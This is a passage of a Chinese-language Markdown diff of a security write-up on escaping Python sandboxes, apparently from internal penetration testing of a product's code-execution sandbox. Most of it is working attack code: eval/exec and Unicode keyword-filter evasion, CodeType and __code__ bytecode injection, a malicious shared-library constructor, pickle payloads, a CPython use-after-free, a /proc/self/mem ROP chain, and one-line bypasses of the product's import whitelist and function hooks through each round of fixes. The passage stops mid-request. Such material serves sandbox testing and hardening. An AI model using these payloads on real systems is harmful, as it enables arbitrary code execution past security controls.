'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip'] +['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip'] ``` + 其中有一些函数可以帮助我们逃逸或辅助我们分析 -``` + +```python __import__ 用于导入模块 __loader__ 通过__loader__.load_module 导入模块 __sepc__ 通过__spec__.loader.load_module 导入模块 @@ -72,18 +98,24 @@ eval 可以执行任意代码 exec 可以执行任意代码 open 读写文件 ``` -demo: + +帮助大家理解的demo + 可以看到在全局与内置空间都存在__spec__变量,而在全局空间中他的值为null,在builtin中则是一个ModuleSpec,我们要怎么拿到builtin中的__spec__呢。 -``` + +```python >>> print(__spec__) None >>> del __spec__ # 从全局命名空间中删除此变量 >>> print(__spec__) # 再次获取则会从内置命名空间中获取 ModuleSpec(name='builtins', loader=, origin='built-in') ``` -### 模块导入 + +#### 模块导入 + 除了内置和当前全局命名空间下的变量与函数,我们也可以通过导入模块的方式使用其他模块命名空间下的变量与函数。 -``` + +```python >>> os.system Traceback (most recent call last): File "", line 1, in @@ -93,31 +125,46 @@ NameError: name 'os' is not defined >>> os.system('id') uid=1001(opsadmin) gid=1001(admingroup) groups=1001(admingroup),10(wheel) ``` -### 类的继承 + +#### 类的继承 + 所有的类均继承自Object基类,Python中一切均为对象。 -### 魔法方法及魔法字段 + +#### 魔法方法及魔法字段 + Object基类的魔法方法及魔法字段 -``` + +```python print(dir(object)) # 列出object基类包含的方法及字段 + ['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] ``` + 其他的类型都会在基类的基础上增加字段和方法。 + builtin_function_or_method类 -``` + +```python print((open.__class__)) # 查看open方法的基类 print((open.__class__.__mro__)) #查看open方法的继承关系 print(dir(open)) #查看builtin_function_or_method类的魔法方法及字段 + (, ) ['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__'] ``` + type类 -``` + +```python print(dir(type)) + ['__abstractmethods__', '__base__', '__bases__', '__basicsize__', '__call__', '__class__', '__delattr__', '__dict__', '__dictoffset__', '__dir__', '__doc__', '__eq__', '__flags__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__instancecheck__', '__itemsize__', '__le__', '__lt__', '__module__', '__mro__', '__name__', '__ne__', '__new__', '__prepare__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasscheck__', '__subclasses__', '__subclasshook__', '__text_signature__', '__weakrefoffset__', 'mro'] ``` + function类 -``` + +```python >>> def a():pass #定义函数 ... >>> print(a.__class__) # 函数类 @@ -129,8 +176,10 @@ function类 >>> print(dir(a)) #函数具备的魔法属性与方法 ['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__globals__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] ``` + 其中一些魔法方法和字段的介绍,在分析Python沙箱逃逸时,这些魔法对我们有比较大的帮助 -``` + +```python __class__ 返回类型 __mro__ 返回类继承的所有父类 __subclasses__ 函数获取所有子类 @@ -142,8 +191,6 @@ __getattr__ 对象中不存在的属性时调用 __dir__ 列出所有方法和字段 __code__ 函数对象的属性,存储了函数的 编译后的字节码 和其他执行相关的元数据 __dict__ 存放类的静态函数、类函数、普通函数、全局变量以及一些内置的属性 -``` -``` >>> open.__dir__() ['__repr__', '__hash__', '__call__', '__getattribute__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__reduce__', '__module__', '__doc__', '__name__', '__qualname__', '__self__', '__text_signature__', '__str__', '__setattr__', '__delattr__', '__init__', '__new__', '__reduce_ex__', '__subclasshook__', '__init_subclass__', '__format__', '__sizeof__', '__dir__', '__class__'] >>> dir(open) @@ -155,9 +202,12 @@ __dict__ 存放类的静态函数、类函数、普通函数、全局变量以 >>> os.__getattribute__("system") ``` -## 危险操作 -### 执行系统命令 -``` + +### 危险操作 + +#### 执行系统命令 + +```python #os模块 import os os.system('ls') @@ -187,8 +237,10 @@ posix.popen #nt模块,为os模块在windows下的底层实现 nt.system('ls') ``` -### 文件操作 -``` + +#### 文件操作 + +```python #codecs模块 import codecs codecs.open('test.txt').read() @@ -197,10 +249,14 @@ file('test.txt').read() #python2.x #open()函数 open('text.txt').read() #python3.x ``` -### Ctypes -ctypes库可以加载共享库,直接调用调用C语言共享库中的函数。\ -#### ctypes.CDLL -``` + +#### Ctypes + +ctypes库可以加载共享库,直接调用调用C语言共享库中的函数。 + +##### ctypes.CDLL + +```python import ctypes # 加载 C 标准库 libc = ctypes.CDLL(None) # None 表示使用系统默认的 C 库 @@ -210,24 +266,33 @@ result = libc.system(command) # 输出 system 函数的返回值 print(f"system 函数返回值: {result}") ``` -#### ctypes.PyDLL + +##### ctypes.PyDLL + 直接调用Python C API 函数 -``` + +```python import ctypes pydll = ctypes.PyDLL(None) print(pydll.system(b'whoami')) ``` -#### ctypes.pythonapi + +##### ctypes.pythonapi + ctypes库初始化时会将一个PyDLL对象存放在pythonapi变量中,也可以用这个变量直接调用Python C API 函数。 -``` + +```python import ctypes print(ctypes.pythonapi.system(b'whoami')) ``` -#### ctypes.LibraryLoader(ctypes.CDLL).LoadLibrary -``` + +##### ctypes.LibraryLoader(ctypes.CDLL).LoadLibrary + +```python import ctypes ctypes.LibraryLoader(ctypes.CDLL).LoadLibrary('libc.so.6').system(b'whoami') ``` + ### 间接引用 #### 利用白名单模块间接引入 @@ -314,9 +379,6 @@ if found: print(f"类: {class_name}, 方法: {func_name}") else: print("未找到包含os模块的函数/方法") -``` - -``` 找到包含os模块的函数/方法: 类: , 方法: __init__ 类: , 方法: match @@ -442,7 +504,829 @@ import gc print(gc.get_referrers(None)) ``` + + +### 动态执行py代码 + +通常用于绕过字符串等检查 + +#### eval + +简单的例子 + +```python +eval('__import__("os").system("whoami")') +``` + +#### exec + +```python +exec('__import__("os").system("whoami")') +``` + +#### f-string + +Python 3.6引入的特性,支持在string中执行Python代码。 + +```python +f"{__import__('os').system('whoami')}" +``` + +#### timeit + +```python +import timeit +timeit.timeit("__import__('os').system('whoami')",number=1) +``` + +### 字符串匹配绕过 + +#### 常规绕过手法 + +可以采用一些编码等方式绕过关键字的检查,主要结合exec等动态执行python代码能力使用。 + +```python +# 各类编码 +['__builtins__'] +['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'] +[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'] +['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)] + +import base64 +base64.b64decode('YWFhYQ==') + +chr(111)+chr(115) # 等价于 os + +# 字符串拼接 +'o'+'s' +``` + +#### unicode + +python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,具体参考见: https://peps.python.org/pep-3131/ + +因此我们可以直接在代码中用 上下标替代原本的字母,如用ᵒ替代o,import ᵒs可正常执行。 + +上下标转换代码,方便生成payload + +```python +def to_superscript(text): + # 普通字母 → 上标字母的映射(仅部分字母有对应的上标形式) + superscript_map = { + 'a': 'ᵃ', 'b': 'ᵇ', 'c': 'ᶜ', 'd': 'ᵈ', 'e': 'ᵉ', 'f': 'ᶠ', 'g': 'ᵍ', + 'h': 'ʰ', 'i': 'ⁱ', 'j': 'ʲ', 'k': 'ᵏ', 'l': 'ˡ', 'm': 'ᵐ', 'n': 'ⁿ', + 'o': 'ᵒ', 'p': 'ᵖ', 'r': 'ʳ', 's': 'ˢ', 't': 'ᵗ', 'u': 'ᵘ', 'v': 'ᵛ', + 'w': 'ʷ', 'x': 'ˣ', 'y': 'ʸ', 'z': 'ᶻ', + 'A': 'ᴬ', 'B': 'ᴮ', 'D': 'ᴰ', 'E': 'ᴱ', 'G': 'ᴳ', 'H': 'ᴴ', 'I': 'ᴵ', + 'J': 'ᴶ', 'K': 'ᴷ', 'L': 'ᴸ', 'M': 'ᴹ', 'N': 'ᴺ', 'O': 'ᴼ', 'P': 'ᴾ', + 'R': 'ᴿ', 'T': 'ᵀ', 'U': 'ᵁ', 'V': 'ⱽ', 'W': 'ᵂ' + } + return ''.join(superscript_map.get(char, char) for char in text) + +def to_subscript(text): + # 普通字母 → 下标字母的映射(部分字母无对应形式) + subscript_map = { + 'a': 'ₐ', 'e': 'ₑ', 'o': 'ₒ', 'x': 'ₓ', 'h': 'ₕ', + 'i': 'ᵢ', 'j': 'ⱼ', 'k': 'ₖ', 'l': 'ₗ', 'm': 'ₘ', + 'n': 'ₙ', 'p': 'ₚ', 'r': 'ᵣ', 's': 'ₛ', 't': 'ₜ', + 'u': 'ᵤ', 'v': 'ᵥ' + } + return ''.join(subscript_map.get(char, char) for char in text) + +# 示例 +print(to_subscript("os")) +print(to_superscript("system")) +``` + +利用生成出来的代码测试,可以成功执行 + +```python +import ₒₛ +ₒₛ.ˢʸˢᵗᵉᵐ('whoami') + +__import__('os').ˢʸˢᵗᵉᵐ('whoami') +``` + +### Python 字节码 + +#### Codetype + +`CodeType` 是 python 的内置类型之一,用于表示编译后的字节码对象。`CodeType` 对象包含了函数、方法或模块的字节码指令序列以及与之相关的属性。 + +python 中关于 code class 的文档链接: + +https://docs.python.org/3/library/types.html#types.CodeType + +`CodeType` 对象具有以下属性: + +- `co_argcount`: 函数的参数数量,不包括可变参数和关键字参数。 +- `co_cellvars`: 函数内部使用的闭包变量的名称列表。 +- `co_code`: 函数的字节码指令序列,以二进制形式表示。 +- `co_consts`: 函数中使用的常量的元组,包括整数、浮点数、字符串等。 +- `co_exceptiontable`: 异常处理表,用于描述函数中的异常处理。 +- `co_filename`: 函数所在的文件名。 +- `co_firstlineno`: 函数定义的第一行所在的行号。 +- `co_flags`: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。 +- `co_freevars`: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。 +- `co_kwonlyargcount`: 函数的关键字参数数量。 +- `co_lines`: 函数的源代码行列表。 +- `co_linetable`: 函数的行号和字节码指令索引之间的映射表。 +- `co_lnotab`: 表示行号和字节码指令索引之间的映射关系的字符串。 +- `co_name`: 函数的名称。 +- `co_names`: 函数中使用的全局变量的名称列表。 +- `co_nlocals`: 函数中局部变量的数量。 +- `co_positions`: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。 +- `co_posonlyargcount`: 函数的仅位置参数数量。 +- `co_qualname`: 函数的限定名称,包含了函数所在的模块和类名。 +- `co_stacksize`: 函数的堆栈大小,表示函数执行时所需的堆栈空间。 +- `co_varnames`: 函数中局部变量的名称列表。 + +以案例来理解 + +```python +import dis +def test(): + print('test') + return 'test' + +print(test.__code__.co_code) +dis.dis(test.__code__.co_code) +``` + +输出 + +```python +b't\x00d\x01\x83\x01\x01\x00d\x01S\x00' + 0 LOAD_GLOBAL 0 (0) + 2 LOAD_CONST 1 (1) + 4 CALL_FUNCTION 1 + 6 POP_TOP + 8 LOAD_CONST 1 (1) + 10 RETURN_VALUE +``` + +利用Codetype我们可以直接执行任意的Python字节码,可以用来实现执行Python代码、Python虚拟机任意代码执行。 + +Python字节码转Python代码 + +生成一个Codetype对象代码 + +```python +import builtins + +def target(cmd): + return __import__('subprocess').check_output(cmd, shell=True).decode() +# import code +# code.interact(local=locals()) +code="CodeType({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format( + target.__code__.co_argcount, + target.__code__.co_posonlyargcount, + target.__code__.co_kwonlyargcount, + target.__code__.co_nlocals, + target.__code__.co_stacksize, + target.__code__.co_flags, + target.__code__.co_code.hex(), + target.__code__.co_consts, + target.__code__.co_names, + target.__code__.co_varnames, + target.__code__.co_filename, + target.__code__.co_name, + target.__code__.co_firstlineno, + target.__code__.co_lnotab.hex(), + target.__code__.co_freevars, + target.__code__.co_cellvars) +print(code) +``` + +Python 3.11版本 + +```python +code="CodeType({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),bytes.fromhex(\'{}\'))\n".format( + target.__code__.co_argcount, + target.__code__.co_posonlyargcount, + target.__code__.co_kwonlyargcount, + target.__code__.co_nlocals, + target.__code__.co_stacksize, + target.__code__.co_flags, + target.__code__.co_code.hex(), + target.__code__.co_consts, + target.__code__.co_names, + target.__code__.co_varnames, + target.__code__.co_filename, + target.__code__.co_name, + target.__code__.co_qualname, + target.__code__.co_firstlineno, + target.__code__.co_linetable.hex(), + target.__code__.co_exceptiontable.hex()) +print(code) +``` + +运行后即可生成一个可以执行target函数的Codetype。 + +##### 利用 FunctionType+CodeType + +创建一个函数,直接执行 + +```python +from types import CodeType, FunctionType +c=CodeType(0,0,0,0,3,3,bytes.fromhex('97007401000000000000000000006401a6010000ab010000000000000000a00100000000000000000000000000000000000000006402a6010000ab0100000000000000005300'),(None, 'os', 'whoami'),('__import__', 'system'),(),'test.py','target','target',4,bytes.fromhex('8000dd0b159064d10b1bd40b1bd70b22d20b22a038d10b2cd40b2cd0042c'),bytes.fromhex('')) +bb = FunctionType(c, {}) +print(bb()) +``` + +##### 利用 __code__ 替换 + +可能存在不能直接使用CodeType的情况,那么直接利用任意函数的__code__也可以完成利用。 + +POC代码,运行后会输出.replace(**) + +```python +def target(cmd): + return __import__('subprocess').check_output(cmd, shell=True).decode() +# import code +# code.interact(local=locals()) +code=".replace(co_argcount={},co_posonlyargcount={},co_kwonlyargcount={},co_nlocals={},co_stacksize={},co_flags={},co_code=bytes.fromhex('{}'),co_consts={},co_names={},co_varnames={},co_filename=\'{}\',co_name=\'{}\',co_firstlineno={},co_lnotab=bytes.fromhex(\'{}\'),co_freevars={},co_cellvars={})\n".format( + target.__code__.co_argcount, + target.__code__.co_posonlyargcount, + target.__code__.co_kwonlyargcount, + target.__code__.co_nlocals, + target.__code__.co_stacksize, + target.__code__.co_flags, + target.__code__.co_code.hex(), + target.__code__.co_consts, + target.__code__.co_names, + target.__code__.co_varnames, + target.__code__.co_filename, + target.__code__.co_name, + target.__code__.co_firstlineno, + target.__code__.co_lnotab.hex(), + target.__code__.co_freevars, + target.__code__.co_cellvars) +print(code) +``` + +随便创建一个函数,将__code__替换一下即可 + +```python +def aa(): + return + +aa.__code__=aa.__code__.replace(co_argcount=0,co_posonlyargcount=0,co_kwonlyargcount=0,co_nlocals=0,co_stacksize=3,co_flags=3,co_code=bytes.fromhex('97007401000000000000000000006401a6010000ab010000000000000000a00100000000000000000000000000000000000000006402a6010000ab0100000000000000005300'),co_consts=(None, 'os', 'whoami'),co_names=('__import__', 'system'),co_varnames=(),co_filename='test.py',co_name='target',co_firstlineno=1,co_freevars=(),co_cellvars=()) +print(aa()) +``` + +##### Python字节码实现Python虚拟机任意代码执行 + +直接运行Python字节码时,也可以直接利用pwn的漏洞利用手法劫持控制控制流任意代码执行,适用于被功能裁剪严重的Python沙箱。 + +可参考的一些材料: + +https://www.anquanke.com/post/id/86366 + +https://wiki.huawei.com/domains/21514/wiki/40292/WIKI202307261662161 + +#### pyc + +pyc是一种存储Python字节码格式的文件,如果我们可以控制sys.path或者往导入的目录中放置pyc同样可实现任意python字节码的执行。 + +相比导入pyc文件,导入so文件的利用复杂度会简单很多,以下是demo。 + +**恶意C代码** + +```c +#include +#include + +// 定义构造函数,在 .so 加载时自动执行 +__attribute__((constructor)) +void malicious() { + printf("[+] Malicious code executed!\n"); + system("touch /tmp/pwned"); +} +``` + +**编译成so** + +```c +gcc -shared -fPIC -o evil.so malicious.c +``` + +**验证poc** + +```python +import sys +sys.path.append('/tmp/') +import evil +``` + +#### Pickle反序列化 + +Pickle 允许序列化的字节码(opcode)直接控制 Python 的解释器。在Pickle反序列化的过程就是执行opcode恢复对象的过程,因此我们可以自行编写序列化后的opcode达成任意python代码执行。 + +可以借助[pker](https://github.com/eddieivan01/pker)工具生成对应的字节码。 + +```c +# test文件 +exec = GLOBAL('builtins', 'exec') +exec('__import__("os").system("whoami")') + +python3 pker.py < test +b'cbuiltins\nexec\np0\n0g0\n(S\'__import__("os").system("whoami")\'\ntR.' +import pickle +pickle.loads(b'cbuiltins\nexec\np0\n0g0\n(S\'__import__("os").system("whoami")\'\ntR.') +``` + +### 劫持控制流 + +#### 缓冲区溢出 + +一些C编写依赖库,如numpy存在缓冲区溢出漏洞。 + +[CVE-2021-33430](https://github.com/advisories/GHSA-6p56-wp2h-9hxr) + +https://github.com/advisories/GHSA-6p56-wp2h-9hxr + +https://hackernoon.com/python-sandbox-escape-via-a-memory-corruption-bug-19dde4d5fea5 + +#### Python UAF + +Python3自身存在一个UAF漏洞,2012年提出的BUG至今一直没有修复,可以利用这个漏洞实现任意代码执行。 + +```python +import io + +class File(io.RawIOBase): + def readinto(self, buf): + global view + view = buf + def readable(self): + return True + +f = io.BufferedReader(File()) +f.read(1) # get view of buffer used by BufferedReader +del f # deallocate buffer +view = view.cast('P') +L = [None] * len(view) # create list whose array has same size + # (this will probably coincide with view) +view[0] = 0 # overwrite first item with NULL +print(L[0]) # segfault: dereferencing NULL +``` + +Python在BufferedReader在read时会分配缓冲区,触发readinto函数,在里面我们可以将缓冲区buf设置到全局变量view中。后面删除f时会导致内部缓冲区被释放,但全局view仍保留着对已释放缓冲区的引用。 + +将view转换为指针类型('P'),创建列表L,其内部数组大小与view相同,会重用被释放的内存。通过view[0] = 0修改已释放内存,当访问L[0]时,实际上是在解引用NULL指针(0),导致段错误。 + + + +\- 实验室项目实战 https://wiki.huawei.com/domains/5560/wiki/14528/WIKI202408054218660 + +\- 利用PythonUAF漏洞实现沙箱逃逸-原文 https://pwn.win/2022/05/11/python-buffered-reader.html + +#### 读写/proc/self/mem + +write 修改 got 表,实际上是一个 **/proc/self/mem** 的内存操作方法 **/proc/self/mem** 是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到 Python 一些函数的偏移,如 **system** ,我们便可以通过覆写 got 表达到 getshell 的目的。 + +```python +(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0)) +``` + +第一个地址是 system 的偏移,第二个是 fopen 的偏移,我们可以通过 **objdump** 获取相关信息。 + +当前python默认开启Full RELRO,因此上述方法一般无法使用,可直接修改栈构造ROP进行利用。 + +```python +def read_process_memory(): + # 获取 libc 基地址 + with open('/proc/self/maps', 'r') as maps_file: + maps_lines = maps_file.readlines() + + for item in maps_lines: + if "/usr/lib/x86_64-linux-gnu/libc.so.6" in item: + parts = item.split() + addr_range = parts[0] + start_str, end_str = addr_range.split('-') + libc_base = int(start_str, 16) + print(f"libc_base is {hex(libc_base)}") + break + + # 打开 /proc/self/mem 进行读取 + with open('/proc/self/mem', 'rb') as mem_file: + # 计算 environ 地址(存放栈底) + environ_addr = libc_base + 0x222200 + mem_file.seek(environ_addr, 0) # 0 = SEEK_SET + chunk = mem_file.read(8) + stack_base = int.from_bytes(chunk, 'little') + print(f"stack address is {hex(stack_base)}") + + # 打开 /proc/self/mem 进行写入(构造 ROP) + with open('/proc/self/mem', 'r+b') as mem_file_write: + ret_addr = stack_base - 0x2f8 + + # 计算 ROP gadget 地址 + pop_rdi_rbp_ret = libc_base + 0x2a745 + bin_sh_str = libc_base + 0x1d8678 + system_addr = libc_base + 0x50d70 + + # 写入 ROP chain + mem_file_write.seek(ret_addr, 0) # 0 = SEEK_SET + mem_file_write.write(pop_rdi_rbp_ret.to_bytes(8, 'little')) + mem_file_write.write(bin_sh_str.to_bytes(8, 'little')) + mem_file_write.write(bin_sh_str.to_bytes(8, 'little')) # 填充 rbp + mem_file_write.write(system_addr.to_bytes(8, 'little')) + + # 可选:验证写入是否成功 + mem_file_write.seek(ret_addr, 0) + written_data = mem_file_write.read(32) + print(f"Written ROP chain: {written_data.hex()}") + +if __name__ == "__main__": + read_process_memory() +``` + + + +## 项目实战 + +### 信息收集 + +**进程信息** + +```c +ps axjfww +``` + +**配置信息** + +存在Python沙箱,可能通过白名单限制可以用的lib和builtin方法 + + + +### 测试环境构建 + +### 环境演示 + +直接通过环境进行测试,编写代码,然后通过试运行功能对话触发。 + + + +只能看到main函数指定输出的信息,无法实现在代码中加入print等打印所有需要获取的调试信息。 + +构建方便的调试环境,将容器对外的端口映射出来。 + + + +初步的测试,可以看到os库在白名单lib里面,简单测试发现无法调用,需要定位原因。 + + + + + +### 防护方案分析 + +#### 模块白名单 + +Python 导入模块实现原理 (参考材料 https://github.com/pwwang/python-import-system) + + + +Python首先会检查需要导入的模块是否在sys.module,若没有则会从sys.meta_path中取出finder,逐个使用Finder导入模块。 + +产品的实现则是自行实现了一个SecBoxFinder然后将其插入到meta_path中,确保每次导入时都经过沙箱的检查逻辑。 + + + +SecBoxFinder实现 + + + +产品中的配置,允许可导入的模块如下: + + + + + +```markup +numpy,warnings,enum,os,functools,collections,types,datetime,numbers,abc,io,executor_sdk,contextlib,dataclasses,math,operator,pickle,contextvars,_contextvars,ast,re,ctypes,copyreg,weakref,textwrap,platform,typing,__future__,sympy,mpmath,bisect,cmath,colorsys,keyword,linecache,timeit,gc,random,decimal,_decimal,fractions,flint,gmpy2,unicodedata,tokenize,gmpy,copy,inspect,string,struct,importlib,array,shutil,pathlib,tempfile,subprocess +``` + +#### 函数调用hook + +MonkeyPatch原理(参考链接:https://cgiirw.github.io/2018/10/19/Python_Metaclass/) + +概念上类似于Java里面的热修复,主要作用是在不更改源代码的情况下,动态追加和变更类的功能; + +示例: + +```python +# 原始的输出 +>>> class Moneky(object): + def eat(self): + print("i want to eat banana") + +>>> m = Moneky() +>>> m.eat() +i want to eat banana + +#动态修改函数 +>>> def common_eat(self): + print("sorry") +>>> Moneky.eat = common_eat + +#被劫持后的输出 +>>> m.eat() +sorry +``` + +产品的实现 + + + +通过functools.wraps包装原本函数,在里面加入检查逻辑,根据传入的Hooker去检查是否合法,如果合法则调用原函数。 + +os.system(function) -> hook_wrapper -> os.system(built-in function) + + + +检查逻辑,会调用hooker的validating_config和validating_arguments检查是否合法,如果不合法则调用hooker的action_on_deny方法处理。 + + + +比如os.system使用的是FuncHookMultiProc这个Hooker,可以看到检查逻辑为根据checker是否配置nproc,没有通过检查则会走action_on_deny逻辑直接退出进程。 + + + +os_hook是基于黑名单对os模块的方法进行hook,同样也会基于白名单的方式对os模块进行hook。 + + + +用户仅可使用os模块中的default_list以及subclass_level中的白名单方法。 + + + +一些单点的动态Hook + +清空ctypes.pythonapi + + + +限制setattr不能修改__code__ + + + + + +### 绕过方法 + +#### 白名单中的危险函数 + +##### ctypes + +通过ctypes.CDLL或者ctypes.PyDLL加载c库 + + + + + +##### posix + +os.execve不可用,但可用posix.execve代替。 + + + +#### 获取原始函数 + +##### gc + +gc.get_objects + +import gc;filtered_objects = filter(lambda obj: hasattr(obj, '__name__') and 'execve' in obj.__name__, gc.get_objects());a=next(filtered_objects);print(a) + + + +###### 第一次修复 + +禁止通过gc获取get_objects + + + +绕过:通过__dict__获取get_objects + + + +###### 第二次修复 + +禁止通过gc获取__dict__ + + + +绕过:通过from gc import get_objects的方式引入get_objects + + + +###### 第三次修复 + +通过动态hook替换的方式完全限制了get_objects的利用 + + + +##### 闭包变量 __closure__ + +可以本地编写一样的简化版hook代码,分析其字节码,看看其原始的引用是存放在什么地方的,可以从__code__中看到是存放在闭包变量里面的。 + + + +从远端看可以看到确实从闭包变量里面找到原始引用 + + + + + +#### 恢复原始函数 + +Hook实现通过替换各类引用实现,比如ctypes会将pythonapi置空 + + + +可以通过重导入的方式恢复被hook的对象 + +##### Importlib.reload + +import sys;sys.meta_path.pop(0);import ctypes;import importlib;importlib.reload(ctypes);print(ctypes.pythonapi) + + + +##### sys.modules.pop + +import sys;sys.meta_path.pop(0);import sys;sys.modules.pop('ctypes');import ctypes;print(ctypes.pythonapi) + + + +#### 动态修改Hook逻辑 + +既然Hooker可以改我们的逻辑,那我们是不是也可以修改Hooker的逻辑呢? + +答案是肯定的,我们可以动态将inner中的一些逻辑修改掉即可让我们无视检查调用到原始函数。 + +举例: + +check_trust_func + + + +Hook 住check_trust_func函数永远返回True即可无视检查直接调用原函数。 + +sandbox._decorators.check_trust_func=lambda x,y,z:True; + +那么问题就在于怎么获取sandbox模块底下的相关函数check_trust_func,可以看到数据流分析的时候他把sandbox从sys.module里去掉了。 + +##### sys.modules['__main__'].sandbox + +前面的数据流分析时可以看到__main__的代码里面其实就导入了sandbox,所以我们通过__main__就可以找到sandbox。 + +import sys;print(sys.modules['__main__'].__dict__['sandbox']) + + + + + +##### __globals__ + +因为所有危险的方法其实都被替换为decorator_factory.Inner,所以我们直接从这些被替换的inner方法的__globals__中即可获取到check_trust_func。 + + + +##### __code__ + +我们也可以通过直接修改inner函数的字节码实现Python代码的逻辑修改。 + +本地编写一个类似的实现 + + + +将其co_code直接替换。 + + + +import os,sys;os.execv.__code__=os.system.__code__.replace(co_code=b't\\x00\\x88\\x01\\x83\\x01\\x01\\x00t\\x00|\\x00\\x8e\\x00\\x01\\x00t\\x00f\\x00i\\x00|\\x01\\xa4\\x01\\x8e\\x01\\x01\\x00\\x88\\x01|\\x00i\\x00|\\x01\\xa4\\x01\\x8e\\x01S\\x00',co_varnames=('input_args', 'input_kwargs'),co_names=('print',),co_nlocals=2,co_consts=(None,),co_stacksize=4,co_freevars=('config_kwargs', 'hooker','func'),co_lnotab=b'',co_firstlineno=99999); + +直接替换会发现报错,因为闭包的存在,这个co_code并不能直接使用,因为在云端闭包变量0是一个空字典跟本地编写的函数不一致。 + +可以结合AI分析云端的字节码,看到云端用到的闭包变量为1。 + + + +修改上述字节码,将\x88\x00全部修改为\x88\x01,即可。 + + + +另一个思路,可以直接用Python字节码通过pwn的技巧实现任意代码执行。 + +修复方案与绕过 + +修复方案:限制Codetype不能调用replace + +绕过方法直接使用Codetype构建一个code对象 + +```python +POST /v1.1/sandboxes/execute 